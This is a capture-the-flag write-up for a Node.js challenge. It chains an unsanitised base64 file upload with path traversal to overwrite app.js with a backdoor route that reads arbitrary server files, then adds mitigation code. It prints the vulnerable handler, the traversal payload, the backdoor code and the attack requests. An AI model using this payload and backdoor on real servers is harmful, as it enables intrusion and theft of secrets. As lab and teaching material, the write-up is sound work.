Node.js Arbitrary File Upload to RCE – AppSec Master Challenge Writeup
Node.js Arbitrary File Upload to RCE Challenge Writeup
Challenge Overview
This challenge involved exploiting a vulnerable Node.js application with an insecure file upload endpoint. The vulnerability chain allowed path traversal through file upload, leading to arbitrary file overwrite and ultimately remote code execution.
Vulnerability Analysis
1. Vulnerable File Upload Endpoint
The application had an unprotected /upload
endpoint that accepted base64-encoded files:
1
2
3
4
5
6
app.post('/upload', (req, res) => {
const { filename, data } = req.body;
const uploadPath = __dirname + '/uploads/' + filename;
const fileData = data.split(',')[1];
fs.createWriteStream(uploadPath).write(Buffer.from(fileData, 'base64'));
});
Key issues:
- No authentication check (added later in the full code)
- No filename sanitization
- Direct filesystem write without validation
2. Path Traversal Vulnerability
The application didn’t sanitize the filename
parameter, allowing directory traversal sequences (../
):
1
2
3
4
5
// Attack vector example
{
"filename": "../../app.js",
"data": "data:text/plain;base64,...malicious code..."
}
3. Arbitrary File Overwrite
By combining these flaws, we could overwrite critical application files like app.js
itself.
Exploitation Steps
Step 1: Craft Malicious Payload
Created a modified app.js
that adds a new route to read arbitrary files:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
app.get('/readfile', (req, res) => {
const target = req.query.path;
if (!target || typeof target !== 'string') {
return res.status(400).send('Missing path param');
}
try {
const filePath = path.resolve('/', target);
const data = fs.readFileSync(filePath, 'utf8');
res.set('Content-Type', 'text/plain');
res.send(data);
} catch (err) {
res.status(500).send('Failed to read file: ' + err.message);
}
});
Step 2: Encode and Upload
Base64-encoded the malicious file and uploaded it with path traversal:
1
2
3
4
5
6
7
POST /upload HTTP/1.1
Content-Type: application/json
{
"filename": "../../app.js",
"data": "data:text/plain;base64,...base64 encoded malicious app.js..."
}
Step 3: Trigger the Backdoor
After successful upload, accessed the new endpoint to read sensitive files:
1
GET /readfile?path=tmp/masterkey.txt HTTP/1.1
Impact
This vulnerability chain allowed:
- Complete server compromise through arbitrary code execution
- Reading sensitive server files (passwords, configs, etc.)
- Potential privilege escalation
- Persistent backdoor installation
Mitigation Strategies
- Sanitize Filenames:
1
const sanitizedFilename = path.basename(filename);
- Validate Upload Path:
1 2 3 4 5
const uploadDir = path.resolve(__dirname, 'uploads'); const uploadPath = path.join(uploadDir, filename); if (!uploadPath.startsWith(uploadDir)) { return res.status(403).send('Invalid path'); }
- Implement Authentication:
1
app.post('/upload', requireAuth, (req, res) => { ... });
- Restrict File Types:
1 2 3 4
const allowedExtensions = ['.jpg', '.png']; if (!allowedExtensions.includes(path.extname(filename))) { return res.status(400).send('Invalid file type'); }
- Use Secure File Upload Libraries: Consider using dedicated libraries like
multer
with proper configuration.
Conclusion
This challenge demonstrated how seemingly minor vulnerabilities (unsanitized inputs) can lead to complete system compromise when chained together. Proper input validation and secure coding practices are essential for file upload functionality.
If you enjoyed this write-up, feel free to follow me on Twitter